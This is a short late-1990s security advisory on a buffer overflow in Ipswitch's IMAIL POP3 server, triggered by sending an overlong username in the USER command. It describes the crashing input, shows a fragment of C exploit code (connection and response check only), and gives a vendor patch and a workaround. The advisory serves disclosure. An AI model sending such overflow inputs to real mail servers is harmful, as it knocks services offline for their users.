Due to improper bounds checking in Ipswitch's IMAIL POP3 server, a buffer
overflow occurs when a lengthy username is sent (via "USER <large
username>"). Where the length of <large username> is between 200 and 500
characters.
It has been tested this on version 5.07, 5.05, and 5.06. According to
Interrupt, it appears to be a DoS (denial of service) attack, but there
has been no further testing to determine if it can be exploited to gain
higher privileges.
printf("Connected to [%s] on port [%d], sending overflow....\n",
hostname, port);
/* Check to see if we get a +OK error code. If so then proceed. */
if ((bytes = recv(sockfd, buf, 300, 0)) == SOCKET_ERROR)
{
printf("ERROR: Recv Error\n");
closesocket(sockfd);
WSACleanup();
exit(1);
}
buf[bytes] = '\0';
check = strstr(buf, "+OK");
if (check == NULL)
{
printf("ERROR: NO +OK response from inital connect\n");
closesocket(sockfd);
WSACleanup();
exit(-1);
}
Ipswitch has patched the vulnerability and the latest version can be
downloaded from:
ftp://ftp.ipswitch.com/Ipswitch/Product_Support/IMail/imail508.exe
If you are unable to install the patch, a temporary workaround is to set
the IMAIL monitor to 10 secons, guaranteeing a quick refreshment period.
---------------------------------------------------------------------------
Contributors to w00giving '99: awr, jobe, Sangfroid, rfp, vacuum,
interrupt, dmess0r, and K2
People who deserve hellos: nocarrier, minus, daveg, nny, eEye Digital
Security, SecurITeam, dark spyrit (of beavuh), and w00god blake